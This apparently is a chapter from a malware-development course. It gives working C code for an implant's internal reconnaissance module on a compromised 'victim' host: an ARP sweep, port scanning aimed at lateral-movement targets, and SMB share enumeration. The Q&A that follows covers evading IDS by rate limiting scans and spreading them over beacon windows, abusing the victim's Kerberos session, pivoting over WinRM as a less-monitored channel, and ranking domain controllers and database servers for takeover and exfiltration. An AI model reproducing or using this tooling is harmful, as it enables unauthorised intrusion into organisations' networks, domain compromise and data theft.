Chapter 85

Network Recon from Victim

The victim machine sees the internal network from the inside — no firewall rules between it and internal servers, access to internal DNS, a valid domain identity for authenticating to shares and services. Network reconnaissance from the victim's position maps the targets for lateral movement: which hosts are alive, which ports are open, what SMB shares exist, what domain structure looks like from inside. All of this runs from within the agent, using the victim's network position, and returns structured data about the internal environment.

ARP Scan — Discover Live Hosts

/* net_recon.c — Internal network reconnaissance */

#include <winsock2.h>
#include <windows.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")

/* ── ARP scan: discover live hosts on local subnet ─────────────────── */
/*
 * SendARP() sends an ARP request to a target IP and returns the MAC address
 * if the host responds. Works only on the local subnet (ARP is L2).
 * 
 * For each IP in our subnet range: SendARP(target_ip, src_ip, mac, mac_len)
 * If returns NO_ERROR and mac is non-zero: host is alive.
 * 
 * This is VERY fast — ARP responses come in under 10ms for live hosts.
 * Typical /24 scan (256 hosts) takes 2-5 seconds.
 */

typedef struct {
    DWORD    ip;           /* Network byte order */
    BYTE     mac[6];
    BOOL     alive;
} HostEntry;

#define MAX_HOSTS 1024
static HostEntry g_hosts[MAX_HOSTS];
static DWORD     g_host_count = 0;

DWORD arp_scan_subnet(DWORD network_ip, DWORD netmask) {
    /* Calculate host range: network_ip to broadcast */
    DWORD host_bits = ~netmask;
    DWORD num_hosts = host_bits & 0xFFFFFFFE;  /* Exclude network and broadcast */
    if (num_hosts > MAX_HOSTS) num_hosts = MAX_HOSTS;
    
    g_host_count = 0;
    printf("[*] ARP scanning %lu hosts...\n", num_hosts);
    
    for (DWORD i = 1; i < num_hosts && g_host_count < MAX_HOSTS; i++) {
        DWORD target_ip = htonl(ntohl(network_ip) + i);
        
        HostEntry *h = &g_hosts[g_host_count];
        h->ip = target_ip;
        ULONG mac_len = 6;
        
        if (SendARP(target_ip, 0, h->mac, &mac_len) == NO_ERROR &&
            (h->mac[0]|h->mac[1]|h->mac[2]|h->mac[3]|h->mac[4]|h->mac[5]) != 0) {
            h->alive = TRUE;
            struct in_addr addr = {.S_un.S_addr = target_ip};
            printf("  [LIVE] %-15s  %02X:%02X:%02X:%02X:%02X:%02X\n",
                   inet_ntoa(addr),
                   h->mac[0], h->mac[1], h->mac[2], h->mac[3], h->mac[4], h->mac[5]);
            g_host_count++;
        }
    }
    
    printf("[+] ARP scan complete: %lu live hosts\n", g_host_count);
    return g_host_count;
}

/* Get our own IP and subnet to know what to scan */
void get_local_subnet(DWORD *network_out, DWORD *mask_out) {
    ULONG buf_sz = 16384;
    IP_ADAPTER_INFO *adapters = (IP_ADAPTER_INFO*)alloca(buf_sz);
    if (GetAdaptersInfo(adapters, &buf_sz) != NO_ERROR) return;
    
    for (IP_ADAPTER_INFO *a = adapters; a; a = a->Next) {
        DWORD ip   = inet_addr(a->IpAddressList.IpAddress.String);
        DWORD mask = inet_addr(a->IpAddressList.IpMask.String);
        
        /* Skip loopback and uninitialized */
        if (ip == 0 || ip == inet_addr("127.0.0.1")) continue;
        
        *network_out = ip & mask;
        *mask_out    = mask;
        
        struct in_addr net_addr = {.S_un.S_addr = ip & mask};
        printf("[*] Local subnet: %s/%lu\n", inet_ntoa(net_addr),
               32 - __builtin_ctz(ntohl(~mask)));
        return;
    }
}

Port Scanner — TCP Connect Scan

/* TCP connect port scanner using non-blocking sockets */

/* High-value ports to check for lateral movement */
static WORD g_target_ports[] = {
    21,   /* FTP */
    22,   /* SSH */
    23,   /* Telnet */
    25,   /* SMTP */
    53,   /* DNS */
    80,   /* HTTP */
    88,   /* Kerberos (DC indicator) */
    135,  /* RPC Endpoint Mapper */
    139,  /* NetBIOS Session */
    389,  /* LDAP (DC indicator) */
    443,  /* HTTPS */
    445,  /* SMB (file shares) */
    636,  /* LDAPS */
    1433, /* SQL Server */
    1521, /* Oracle */
    3306, /* MySQL */
    3389, /* RDP */
    5985, /* WinRM HTTP */
    5986, /* WinRM HTTPS */
    8080, /* HTTP Alt */
    8443, /* HTTPS Alt */
    0
};

/* Identify the role of a host based on open ports */
static const char* identify_host_role(BOOL *open_ports) {
    if (open_ports[88] && open_ports[389] && open_ports[445]) return "DOMAIN CONTROLLER";
    if (open_ports[445] && !open_ports[3389]) return "File Server";
    if (open_ports[3389]) return "Windows (RDP enabled)";
    if (open_ports[22]) return "Linux/SSH";
    if (open_ports[1433]) return "SQL Server";
    if (open_ports[3306]) return "MySQL";
    if (open_ports[80] || open_ports[443]) return "Web Server";
    return "Unknown";
}

BOOL scan_host_ports(DWORD target_ip, WORD *open_ports_out, DWORD max_open) {
    SOCKET socks[512];
    int nsocks = 0;
    BOOL is_open[65536] = {FALSE};

    /* Count target ports */
    int port_count = 0;
    while (g_target_ports[port_count]) port_count++;

    /* Create non-blocking sockets and begin connect() for all ports */
    for (int i = 0; i < port_count; i++) {
        SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) continue;

        /* Set non-blocking */
        u_long mode = 1;
        ioctlsocket(s, FIONBIO, &mode);

        struct sockaddr_in addr = {
            .sin_family = AF_INET,
            .sin_port   = htons(g_target_ports[i]),
            .sin_addr.s_addr = target_ip
        };
        connect(s, (struct sockaddr*)&addr, sizeof(addr));  /* Returns immediately */
        socks[nsocks++] = s;
    }

    /* Wait 2 seconds for connections to complete */
    Sleep(2000);

    /* Check which sockets connected */
    DWORD open_count = 0;
    for (int i = 0; i < nsocks; i++) {
        fd_set writefds;
        FD_ZERO(&writefds);
        FD_SET(socks[i], &writefds);
        struct timeval tv = {0, 1000};  /* 1ms timeout — connections are already done */
        
        int result = select(0, NULL, &writefds, NULL, &tv);
        if (result > 0 && FD_ISSET(socks[i], &writefds)) {
            /* Socket is writable = connection succeeded */
            int err = 0; int err_len = sizeof(err);
            getsockopt(socks[i], SOL_SOCKET, SO_ERROR, (char*)&err, &err_len);
            if (err == 0 && open_count < max_open) {
                open_ports_out[open_count++] = g_target_ports[i];
                is_open[g_target_ports[i]] = TRUE;
            }
        }
        closesocket(socks[i]);
    }

    /* Identify and print host role */
    if (open_count > 0) {
        struct in_addr addr = {.S_un.S_addr = target_ip};
        printf("  %-15s [%s] Ports:", inet_ntoa(addr), identify_host_role(is_open));
        for (DWORD i = 0; i < open_count; i++) printf(" %u", open_ports_out[i]);
        printf("\n");
    }
    return open_count > 0;
}

SMB Share Enumeration

/* SMB share enumeration using NetShareEnum (no external tools) */

#include <lm.h>
#pragma comment(lib, "netapi32.lib")

void enumerate_smb_shares(const WCHAR *hostname) {
    SHARE_INFO_1 *share_info = NULL;
    DWORD total = 0, resume = 0;
    
    NET_API_STATUS status = NetShareEnum(
        (LPWSTR)hostname,  /* Target hostname */
        1,                 /* Info level: SHARE_INFO_1 (name, type, comment) */
        (BYTE**)&share_info,
        MAX_PREFERRED_LENGTH,
        &total, &total, &resume);
    
    if (status == NERR_Success || status == ERROR_MORE_DATA) {
        char host_utf8[256] = {0};
        WideCharToMultiByte(CP_UTF8, 0, hostname, -1, host_utf8, sizeof(host_utf8), NULL, NULL);
        printf("\n  SMB Shares on %s (%lu total):\n", host_utf8, total);
        
        for (DWORD i = 0; i < total; i++) {
            SHARE_INFO_1 *s = &share_info[i];
            const char *type_str = "?";
            switch (s->shi1_type & ~STYPE_SPECIAL) {
                case STYPE_DISKTREE:  type_str = "Disk";    break;
                case STYPE_PRINTQ:    type_str = "Printer"; break;
                case STYPE_IPC:       type_str = "IPC$";    break;
                case STYPE_DEVICE:    type_str = "Device";  break;
            }
            BOOL is_hidden = (s->shi1_type & STYPE_SPECIAL) != 0 ||
                             (s->shi1_netname[wcslen(s->shi1_netname)-1] == L'$');
            
            char name[256] = {0}, comment[512] = {0};
            WideCharToMultiByte(CP_UTF8, 0, s->shi1_netname, -1, name, sizeof(name), NULL, NULL);
            if (s->shi1_remark)
                WideCharToMultiByte(CP_UTF8, 0, s->shi1_remark, -1, comment, sizeof(comment), NULL, NULL);
            
            printf("    \\\\%s\\%s [%s%s] %s\n",
                   host_utf8, name, type_str,
                   is_hidden ? ", hidden" : "",
                   comment[0] ? comment : "");
        }
        NetApiBufferFree(share_info);
    } else {
        printf("  [FAIL] SMB enum on %ls: error %lu\n", hostname, status);
    }
}

/* Full network recon: scan + port check + share enum */
void run_network_recon(void) {
    WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa);
    
    DWORD network = 0, mask = 0;
    get_local_subnet(&network, &mask);
    if (!network) { printf("[-] Could not determine local subnet\n"); return; }
    
    DWORD live_count = arp_scan_subnet(network, mask);
    
    printf("\n[*] Port scanning %lu live hosts...\n", live_count);
    for (DWORD i = 0; i < live_count; i++) {
        WORD open_ports[64] = {0};
        if (scan_host_ports(g_hosts[i].ip, open_ports, 64)) {
            /* SMB open? Enumerate shares */
            for (int j = 0; open_ports[j]; j++) {
                if (open_ports[j] == 445) {
                    struct in_addr addr = {.S_un.S_addr = g_hosts[i].ip};
                    WCHAR whost[256] = {0};
                    MultiByteToWideChar(CP_ACP, 0, inet_ntoa(addr), -1, whost, 256);
                    enumerate_smb_shares(whost);
                    break;
                }
            }
        }
    }
    
    WSACleanup();
    printf("\n[+] Network recon complete\n");
}

Questions & Answers

How does the network scan avoid triggering IDS/IPS rules?

A fast port scan that hits all 65535 ports on 256 hosts in seconds is the textbook IDS signature for a network scan. Our targeted approach is already better: we only scan a curated list of ~22 high-value ports (not all 65535), and we only scan the live hosts from the ARP response (not the full broadcast domain). Further evasion: (1) Rate limiting — add a random 50-200ms delay between each connection attempt. This makes the scan 2-4 minutes instead of 2 seconds for a /24, but pattern-based IDS rules that trigger on "20 connections in 100ms" won't fire. (2) Spread across time — don't scan the full subnet in one go. Scan 20 hosts per beacon window (one scan per beacon). Distributed over hours or days, it's invisible as a "scan." (3) Use existing connection attempts that look legitimate — check ARP table first (Ch81) for hosts the victim has recently talked to. These hosts are already "known" to the victim machine and communication is expected. Scan those first.

How do you enumerate domain controllers specifically, without running BloodHound?

Multiple methods that don't require dropping any tools: (1) DsGetDcNameA() — returns the name and IP of the domain's primary DC. No network scan needed — Windows looks it up automatically via DNS/Kerberos. (2) DNS query for _ldap._tcp.dc._msdcs.DOMAIN.COM SRV records — this is how Windows clients find DCs, and you can do it with DnsQuery_A(). Returns all DCs in the domain with their priorities. (3) From the port scan output: any host with ports 88 (Kerberos), 389 (LDAP), 445 (SMB), and 3268 (Global Catalog) is almost certainly a domain controller. (4) NetGetDCName() — legacy but reliable for finding a DC by domain name. Combined: call DsGetDcNameA() to get the primary DC instantly (one API call, no network scan), then query DNS SRV records for all DCs in the domain. You have a complete DC list in under a second without any scanning.

How do you access SMB shares without providing credentials?

The victim machine is already authenticated to the domain. When your agent calls NetShareEnum(hostname, ...) or CreateFile("\\\\server\\share\\file"), Windows uses the current user's Kerberos ticket automatically — this is "pass-through authentication" or "integrated Windows authentication." No password needed in the code. The victim's session token (which your agent inherits) grants access to any SMB share that the domain user has permission to access. This is why lateral movement via SMB is so powerful: if you've compromised a domain admin's workstation, your agent can read any share on any server in the domain using that user's credentials — no additional authentication required. To access shares with different credentials (e.g., you have a domain admin password from credential harvesting), use WNetAddConnection2W with the alternative credentials before accessing the share.

What does port 5985 (WinRM) open mean for lateral movement?

Port 5985 open means WinRM (Windows Remote Management) is enabled — and if the current user has admin rights on that machine, you can run commands on it without dropping any tools, without RDP, and without creating a new process that looks obviously malicious. Using the victim machine's session: write a WinRM client in pure WinAPI (WinHTTP POST to http://target:5985/wsman with a SOAP envelope) or use the Win32_Process WMI class (which WinRM supports). Alternatively, since you have a shell (Ch83), use the shell to invoke: winrs -r:http://target:5985 cmd — this opens an interactive shell on the target machine. WinRM is also the PowerShell Remoting transport: Invoke-Command -ComputerName target -ScriptBlock {whoami} works if the victim's user has admin on the target. Port 5986 is WinRM over HTTPS (requires a certificate). WinRM is often less monitored than RDP (3389) and less likely to generate alerts for lateral movement because it's used legitimately for system administration.

How should network scan results be structured for maximum operator utility?

The operator needs a prioritized target list, not raw scan data. Structure the output: (1) Tier 1 (highest priority): Domain Controllers (88+389+445 open) — compromise = full domain takeover, (2) Tier 2: File servers with open SMB (445) — source of sensitive documents, (3) Tier 3: Database servers (1433, 3306, 1521) — source of data for direct exfiltration, (4) Tier 4: Web servers and application servers, (5) Tier 5: Regular Windows workstations (RDP open). For each host: IP, MAC (for OUI vendor lookup = tells you the device type), hostname (from DNS reverse lookup: getnameinfo()), open ports, identified role, and whether SMB shares are accessible with current credentials. The operator console displays this as a clickable target map: click a host → see details → click "open shell" to pivot to it. The network recon output is the foundation of the lateral movement planning session — it should be comprehensive enough that the operator can decide next steps without running additional scans.